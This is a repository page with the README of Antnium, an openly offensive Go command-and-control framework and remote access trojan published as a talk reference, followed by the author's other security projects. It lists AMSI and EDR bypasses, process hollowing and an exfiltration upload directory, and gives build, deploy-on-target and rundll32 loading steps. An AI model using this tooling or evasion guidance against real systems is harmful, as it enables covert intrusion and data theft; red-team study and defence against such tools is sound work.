• Stars
    star
    125
  • Rank 286,335 (Top 6 %)
  • Language
    Go
  • Created over 3 years ago
  • Updated over 1 year ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

A C2 framework for initial access in Go

Antnium

Anti Tanium

A C2 framework and RAT written in Go.

This source code is publicly published as reference for my presentation Develop your own RAT - AV & EDR Defense. Antnium inteded to fulfill my own requirements, and not those of others. Works for the campaigns i performed, but is not necessarily meant to be a generic C2 framework.

There are two components:

  • client.exe: The actual RAT / beacon / agent / implant
  • server.exe: C2 server

Features

  • HTTP/S and Websocket communication channel
  • Proxy support (manual, windows, authenticated and kerberos)
  • Command execution
    • Direct LOLbins
      • Copy file first
      • Process hollowing
    • Interactive cmd.exe/Powershell shell
    • Remote managed and unmanaged code
      • Using donut
      • PE to shellcode
      • Encrypted
      • AMSI bypass
  • EDR bypass with Reflexxion (ntdll.dll restore)
  • Encrypted communication
  • Malleable C2
  • File upload / download
  • File browser

Quick How to use

Download and install go (and git).

We use 127.0.0.1:8080 as C2 domain here (localhost as we start both client.exe and server.exe on the same host). This is also the default, no need to change anything.

Check campaign in campaign/campaign.go:

  • serverUrl = "http://127.0.0.1:8080"

Build it on windows:

> .\makewin.bat deploy

Build it on linux:

$ make deploy

Start server, and client:

cd build\
.\server.exe
.\static\client.exe

Access the WebUI by opening the following URL in the browser after starting server.exe:

http://localhost:8080/webui/

Directories

static/: Public directory for tools

Put files there you want to download on other machines. Like client.exe, wingman.exe. And your tools, like mimikatz.exe, or seatbelt.exe. But use more inconspicuous file names.

The files are also available via the /secure API requested with encrypted filenames, and encrypted+base64 encoded file as response.

dotNet files can be execute by using remote execution option (accessed via /secure).

upload/: Private directory for data exfiltration

File uploads from the client will be stored there.

Detailed build instructions

Go install:

Compile client.exe and server.exe:

> .\makewin.bat deploy

This will create:

  • /build/server.exe
  • /build/server.elf
  • /build/static/client.exe
  • /build/static/client.elf
  • /build/static/wingman.exe
  • /build/upload/
  • /build/webui/

Start server.exe:

> cd build
> .\server.exe

Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json 
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080  

Start client.exe:

> .\build\static\client.exe

Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...

Notes on cross compiling

Compiling the Windows client from Linux works, but requires some manual GO gcc command line fu, because of some windows dependencies. If it doesnt immediately work, compile the windows client on windows itself (makewin.bat client).

Notes on Campaign configuration

pkg/campaign/campaign.go connects a compiled client.exe with a specific server.exe, which forms a campaign. A campaign has individual encryption- and authentication keys, which are shared between server and client.

type Campaign struct {
	ApiKey      string  // Key used to access client facing REST
	EncKey      []byte  // Key used to encrypt packets between server/client

	ServerUrl   string  // URL of the server, as viewed from the clients
}

And admin UI / operator key in pkt/server/config.go:

type Config struct {
	AdminApiKey string
}

Note that ServerUrl is the URL used by the client for all interaction with the server. It is the public server URL, e.g. http://totallynotmalware.ch. The actual server.exe may be behind a reverse proxy, and started with server.exe --listenaddr 127.0.0.1:8080 (so ServerUrl is not necessarily equal listenaddr).

Notes on server access

When first connecting to the server, you need to access and configure the UI first.

The Angular UI files are publicly accessible. Lets assume ServerUrl="http://localhost:8080" and listenaddr=0.0.0.0:8080. You can either:

  • use the integrated antniumui, available as http://localhost:8080/webui on your browser
  • or ng serve from antniumui directory, and then open http://localhost:4200 on your browser

When connecting to the UI in the browser, you need first to configure the server IP and its password:

  • AdminApiKey (default: "Secret-AdminApi-Key", like in config default)
  • ServerIP (default: "http://localhost:8080")
  • User (optional, can be chosen randomly)

Client

Tested on:

  • Windows 10
  • Ubuntu 20.04 LTS

Compile on windows:

> .\makewin.bat client

Deploy it on your target.

Server

Tested on:

  • Works: Ubuntu 20.04 LTS, Go 1.13.8
  • Works: Windows 10, Go 1.16.6
  • Compile FAIL: Ubuntu 16.04 LTS, Go 1.6.2

On Linux:

$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080

Result is server.exe. Make sure to run it in the directory where you have or expect:

  • upload/
  • static/
  • db.*.json as working directory.

It will start a REST server on that port, providing:

  • /: REST for the clients
  • /ws: Websocket for the clients
  • /admin: REST for admin interface (add packet, get clients)
  • /adminws: Websocket for admin interface (push packets)
  • /webui: HTML files for admin interface (Angular source and html, accesses REST and websocket)

Put a reverse proxy before it (make sure it supports websockets!) or forward ports.

Options

For manual proxy, use full HTTP url:

client.exe -proxy http://proxy:8080

or via environment variables:

export PROXY http://localhost:8080
./client

Wingman

Wingman is basically the Client, but without direct connection to the C2. It can connect to an existing client on localhost:50000 (make sure its started, if Campaign.AutoStartDownstreams is false)

Connects to localhost port 50000:

wingman.exe

Or use rundll32.exe to load the dll (the 64 bit rundll32 version in system32, not the 32 bit version in C:\Windows\SysWOW64\rundll32.exe):

C:\Windows\System32\rundll32.exe .\wingman.dll,Start

It will appear as downstream net#0.

Testing

go test ./...

There may still be race conditions. If it fails once, just execute it again.

More Repositories

1

avred

Analyse your malware to surgically obfuscate it
Python
367
star
2

lxd-webgui

A lightweight web frontend for LXD
JavaScript
168
star
3

BurpSentinel

GUI Burp Plugin to ease discovering of security holes in web applications
Java
145
star
4

yookiterm-slides

Exploitation and Mitigation Slides
HTML
116
star
5

ffw

A fuzzing framework for network servers
Python
115
star
6

yookiterm-challenges

The challenge writeups and solutions for yookiterm-challenge-files
36
star
7

yookiterm-challenges-files

Challenge files which are deployed in the container for the user
C
23
star
8

avred-server

The AMSI server for Avred
Python
22
star
9

clang-cfi-safestack-analysis

C
21
star
10

antniumui

TypeScript
18
star
11

ace-firefist

Attack chain emulator. Write recipes for initial access easily
Python
14
star
12

rosenbridge

A graphical user interface for Magic Wormhole file transfer
Go
12
star
13

SentinelTestbed

Vulnerable web site. Used to test sentinel features.
PHP
9
star
14

yookiterm-server

Main yookiterm backend
Go
4
star
15

ffw-docker

Docker image of FFW
3
star
16

ffweb

A webgui to view crash information of fuzzing runs (FFW)
Python
3
star
17

tinysploit2-writeup

Solution and writeup for tinysploit2 challenge
Perl
3
star
18

waasa

Windows Application Attack Surface Analyzer
C#
2
star
19

xrop-esp32

Patched xrop to support ESP32 architecture for gadget aquisition
C
2
star
20

nkeyrollover

ASCII side-scrolling beat-em-up game
Python
2
star
21

yookiterm

yookiterm web frontend
JavaScript
2
star
22

yookiterm-lxdserver

Yookiterm LXD backend server
Go
2
star
23

dmsr

Does My Shit Run - Linux Monitoring Solution
Python
2
star
24

ipsctrainor

arduino IPSC trigger trainer
C
1
star
25

ROPNotepadNG

Exploitlab ROPNotepad extended
JavaScript
1
star
26

zeroballistics

JavaScript
1
star
27

xtarget

Python OpenCL project to use with Laser bullets including augmented reality
Python
1
star
28

asanparser

Python
1
star
29

proxybypasser

Bypass proxy download restrictions with JavaScript download
Python
1
star
30

godot-srcvis

Python
1
star